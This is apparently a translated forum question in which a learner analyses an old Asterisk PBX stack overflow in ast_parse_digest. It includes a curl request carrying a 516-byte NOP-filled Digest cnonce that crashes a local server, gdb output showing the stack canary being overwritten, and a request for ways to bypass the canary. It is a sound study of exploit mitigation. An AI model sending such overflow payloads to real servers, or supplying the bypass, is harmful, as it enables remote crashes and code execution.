仍然可以绕过堆栈金丝雀检查吗?

时间:2018-12-29 18:31:09

标签: buffer stack-smash

我正深入研究Asterisk PBX中发现的一个旧漏洞,只是为了了解这些东西是如何工作的。 这是该缺陷的描述: “根据其SIP标语中的版本,远程主机上运行的Asterisk的版本可能受到漏洞的影响,该漏洞可能允许远程攻击者使服务器崩溃,或者可能通过发送任意长的字符串来注入任意代码摘要摘要身份验证的值。”

我安装了易受攻击的星号,其中包括以下保护措施:

#/usr/bin/hardening-check $(which asterisk)
 /usr/sbin/asterisk:
  Position Independent Executable: no, normal executable!
  Stack protected: yes
  Fortify Source functions: yes (some protected functions found)
  Read-only relocations: yes
  Immediate binding: no, not found!

我被堆栈保护所吸引,这是对分析的简短描述。 从易受攻击的函数(称为ast_parse_digest)的objdump中,实际的堆栈金丝雀代码如下所示:

mov    %gs:0x14,%eax
mov    %eax,-0xc(%ebp)
xor    %eax,%eax
(These are the 3 code lines during the prologue of the function)

我可以看到的是,canary值写在ebp-12(-0xc => -12)的堆栈中,稍后我将使用gdb对其进行测试。 在函数的结尾之前,执行堆栈金丝雀检查,可以从代码中读取:

mov    -0xc(%ebp),%ebx
xor    %gs:0x14,%ebx
je     819daa7 <ast_parse_digest+0x12d8>
call   80601a0 <__stack_chk_fail@plt> 
(Therefore if the check fails a call to __stack_chk_fail takes place)

现在是时候使用gdb了,看看我们的漏洞攻击何时覆盖了金丝雀。 该漏洞利用只是向易受攻击的服务器发送HTTP请求:

#curl -v http://127.0.0.1:8088/asterisk/amxml -H "Authorization: Digest username="user",realm="realm",nonce="AAAAAAAA",uri="/asterisk/amxml",algorithm=MD5,response="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",opaque="CCCCCCCC",qop="auth",nc="DDDDDDDD",cnonce=$var"

其中变量$ var(在curl结束时)被设置为516 NOP,以到达金丝雀:

#var="$(python -c 'print 516*"\x90"')"

执行漏洞利用检测到堆栈粉碎,这些是backtrace.txt中的行:

Core was generated by `/usr/sbin/asterisk -g'.
Program terminated with signal SIGABRT, Aborted.
#0  0xb77bfcf9 in ?? ()
#0  0xb77bfcf9 in ?? ()
No symbol table info available.
#1  0xb74ee03b in __GI___fortify_fail (msg=<optimized out>,    msg@entry=0xb7555960 "stack smashing detected") at fortify_fail.c:38
    do_abort = 63
#2  0xb74edfca in __stack_chk_fail () at stack_chk_fail.c:28
No locals.
#3  0x0819daa7 in ast_parse_digest (digest=0xfe33e7e "Digest  username=user,realm=realm,nonce=AAAAAAAA,uri=/asterisk/amxml,algorithm=MD5,response=", 'B' <repeats 32 times>, ",opaque=CCCCCCCC,qop=$
    i = 516
    c = 0xfe345cb ""
    key = "cnonce\000e", '\000' <repeats 503 times>
    val = '\220' <repeats 512 times>
    str = 0xfe34310
    __PRETTY_FUNCTION__ = "ast_parse_digest"

在确认调用__stack_chk_fail函数后,我检查了用gdb生成的核心文件。以下是显示堆栈在粉碎之后的外观的步骤:

#frame 3
#(gdb) x/x $ebp
# 0xb5a24888:   0xb5a25048 
#(gdb) x/x $ebp-4
# 0xb5a24884:   0xb5a24c30
#(gdb) x/x $ebp-8
# 0xb5a24880:   0x00000000
#(gdb) x/x $ebp-12
# 0xb5a2487c:   0x90909090  
(Note: 516 was the minimum number of NOPs to get to the stack smashing)

这确认堆栈金丝雀是写在ebp-12上的;我还认为,在堆栈金丝雀之后添加了NULL字节以改善硬化。

我的问题是:在这种情况下仍然可以绕过金丝雀检查吗?我应该采取的下一步是什么? 任何建议或指向一些有用文档的链接都将得到重视。

0 个答案:

没有答案